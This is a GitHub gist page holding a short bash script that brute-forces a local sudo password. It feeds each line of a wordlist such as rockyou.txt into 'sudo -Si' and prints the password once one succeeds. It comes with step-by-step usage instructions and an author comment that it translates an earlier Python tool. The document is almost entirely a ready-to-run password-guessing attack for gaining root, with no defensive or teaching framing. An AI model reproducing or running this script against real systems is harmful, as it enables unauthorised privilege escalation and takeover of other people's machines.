Skip to content

Instantly share code, notes, and snippets.

@medanisjbara
Last active July 31, 2022 18:12
Show Gist options
  • Save medanisjbara/7f3e88e3183c924c8b55485cab17ec18 to your computer and use it in GitHub Desktop.
Save medanisjbara/7f3e88e3183c924c8b55485cab17ec18 to your computer and use it in GitHub Desktop.
#!/bin/bash
# Author: Med Anis Jbara
# This is a bash translation of the sudo_brute_force.py (https://gist.github.com/ramuta/e32865d911e087844fc8c526a72fea49)
# How to use this script:
# 1. You need to have a wordlist file, something like rockyou.txt
# 2. Make the script executable by running: chmod +x sudo_brute_force.sh
# 3. Run the script like this: ./sudo_brute_force.sh passwords.txt
if [ "$1" ]; then
if test -f "$1" ; then
echo "using $1 as password file"
else
echo "Can't open $1"
exit 1
fi
else
echo "You need to add a wordlist! Run the script like this: ./sudo_brute_force.sh passwords.txt"
exit
fi
while read -r p; do
echo "$p"
if echo "$p"| sudo -Si ; then
echo "Success! :) The password is: $p"
break
else
echo "Wrong password... :( Let's try again!"
echo
fi
done < "$1"
@medanisjbara
Copy link
Author

This is a direct translation of sudo_brute_force.py from python to bash. if the script here didn't work. That's because sudo_brute_force.py doesn't work.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment